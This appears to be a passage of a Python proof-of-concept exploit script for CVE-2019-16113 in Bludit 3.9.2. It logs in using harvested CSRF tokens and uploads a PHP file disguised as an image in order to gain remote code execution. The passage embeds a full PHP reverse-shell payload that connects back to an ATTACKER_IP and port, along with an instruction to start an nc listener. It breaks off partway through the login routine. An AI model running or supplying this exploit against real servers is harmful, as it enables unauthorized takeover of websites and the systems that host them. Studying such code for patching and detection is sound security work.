#!/usr/bin/env python3 import sys import string import random import requests import re import socket """ This is a python implementaiton PoC for the Bludit Directory Traversal Image File Upload Vulnerability CVE-2019-16113 Bludit 3.9.2 allows remote code execution via bl-kernel/ajax/upload-images.php because PHP code can be entered with a .jpg (or .png) file name, and then this PHP code can write other PHP code to a ../ pathname. Original credit: christasa # Original discovery sinn3r # Metasploit Module https://www.exploit-db.com/exploits/47699 """ ########################## # Modify as needed TARGET_URI = "http://127.0.0.1" # Target Bludit credentials USERNAME = "user" PASSWORD = "password" # For reverse shell # Setup listner prior to execution: nc -lvp 303 ATTACKER_IP = '127.0.0.1' ATTACKER_PORT = '303' ########################## # Payload to be sent and executed on target # https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php PAYLOAD = ' array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "w") ); $process = proc_open($shell, $descriptorspec, $pipes); if (!is_resource($process)) {printit("ERROR: Can\'t spawn shell"); exit(1);} stream_set_blocking($pipes[0], 0); stream_set_blocking($pipes[1], 0); stream_set_blocking($pipes[2], 0); stream_set_blocking($sock, 0); printit("Successfully opened reverse shell to $ip:$port"); while (1) {if (feof($sock)) {printit("ERROR: Shell connection terminated"); break;} if (feof($pipes[1])) {printit("ERROR: Shell process terminated"); break;} $read_a = array($sock, $pipes[1], $pipes[2]); $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null); if (in_array($sock, $read_a)) {if ($debug) printit("SOCK READ"); $input = fread($sock, $chunk_size); if ($debug) printit("SOCK: $input"); fwrite($pipes[0], $input);} if (in_array($pipes[1], $read_a)) {if ($debug) printit("STDOUT READ"); $input = fread($pipes[1], $chunk_size); if ($debug) printit("STDOUT: $input"); fwrite($sock, $input);} if (in_array($pipes[2], $read_a)) {if ($debug) printit("STDERR READ"); $input = fread($pipes[2], $chunk_size); if ($debug) printit("STDERR: $input"); fwrite($sock, $input);}} fclose($sock); fclose($pipes[0]); fclose($pipes[1]); fclose($pipes[2]); proc_close($process); function printit ($string) {if (!$daemon) {print "$string\n";}} ?>' # Create a persistent session to ensure BLUDIT-KEY cookie is obtained and sent with subsequent requests SESSION = requests.session() def random_string(): """ Generates a 10 character random string utilized for payload file name """ letters = string.ascii_lowercase return ''.join(random.choice(letters) for i in range(10)) EXPLOIT_FILENAME = random_string() def get_csrf_uuid(url, get_uuid=0): """ Returns the hidden form field value of jstokenCSRF that is requried for form submissions Optional: this function will also return the uuid hidden form field value if get_uuid is provided during call """ try: response = SESSION.get(url) except requests.exceptions.RequestException as e: print('[!] Falied sending HTTP request: ' , e) sys.exit(1) # Extract the CSRF token value field from thge HTML response with regex csrf_token = re.search('(?<=name="tokenCSRF" value=")([a-z0-9]+)(?=">)', response.text).group(0) # If we need the uuid value as well, extract and return if(get_uuid): uuid_value = re.search('(?<=name="uuid" value=")[a-z0-9]+(?=">)', response.text).group(0) return csrf_token, uuid_value else: # otherwise just return the CSRF token return csrf_token def do_login(): """ Utilizes the declared USERNAME and PASSWORD to create a valid user session """ url = TARGET_URI + '/admin/login.php' # Obtain the CSRF token for login form submission csrf_token = get_csrf_uuid(url) # Attempt the login try: response = SESSION.post(url, data = {'tokenCSRF':csrf_token, 'username': USERNAME, 'password': PASSWORD}) except requests.exceptions.RequestException as e: print('[!] Falied sending HTTP request.', e) sys.exit(1) # Verify that the login was successful if re.search('(?<=